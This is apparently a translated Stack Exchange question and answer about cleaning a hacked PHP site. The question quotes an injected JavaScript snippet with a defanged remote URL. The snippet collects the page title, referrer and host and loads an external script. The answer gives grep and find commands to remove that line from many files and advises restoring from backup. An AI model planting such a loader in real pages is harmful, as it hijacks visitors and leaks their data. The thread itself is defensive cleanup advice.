.%20sed%2C%20awk%2C%20grep.png)
Mi sitio fue pirateado/infectado. Reemplacé la URL del enlace malicioso, pero otros elementos en el script malicioso aún hacen que mi sitio se bloquee. Sin insertar un centenar de "escapes", ¿cómo puedo eliminar el siguiente script de tres docenas de archivos en mi sitio?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
Otras páginas de stack-exchange no responden a esta pregunta.
Para reemplazar la URL maliciosa con xxxx_hack_was_here, etc., utilicé:
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
Respuesta1
En primer lugar, estoy de acuerdo con los comentarios anteriores:No lo utilices sed
para recuperarte de un hackeo. Siempre te preguntarás si te perdiste algo. Restaurar desde la copia de seguridad, punto.
Sin embargo, la pregunta literal que hizo, cómo eliminar una cadena larga en todos los lugares donde aparece sin escapar de cada carácter especial, es algo más fácil de manejar.
Estoy haciendo algunas inferencias/suposiciones a partir de tu pregunta que en realidad no mencionaste directamente:
- Que la cadena a eliminar sea de una sola línea.
- Que es lo mismo cada vez que ocurre.
- que tiene que serremoto, no reemplazado por otra cosa.
Si las suposiciones anteriores son correctas, haga lo siguiente:
- Coloque la cadena que se va a eliminar (incluido cualquier espacio en blanco final) en un archivo independiente, llamado, por ejemplo
hackline.txt
, . Pon este nivelarribael directorio que vas a manejar. Copie todo su directorio en caso de errores.
cp -a mydir mydircopy
Ejecute el siguiente bucle en su directorio (o la copia) para eliminar todas las instancias de la línea de hackeo:
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
El concepto aquí es que se usa hackline.txt
como una lista de cadenas fijas que deben coincidir con toda la línea, luego se usa grep
para obtener solo las líneas quenocoincide con esa lista de cadenas.
-x
significa "línea completa"; -F
significa "cadena fija, no expresión regular"; -v
invierte la búsqueda; -f
acepta una lista de patrones en un archivo.
Si el directorio de su sitio web es jerárquico en lugar de plano (lo cual es bastante probable), puede usar find
en lugar de un bucle for:
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
Luego usa un recursivo diff
para comprobar que todo está como debe ser:
diff -r mydircopy mydir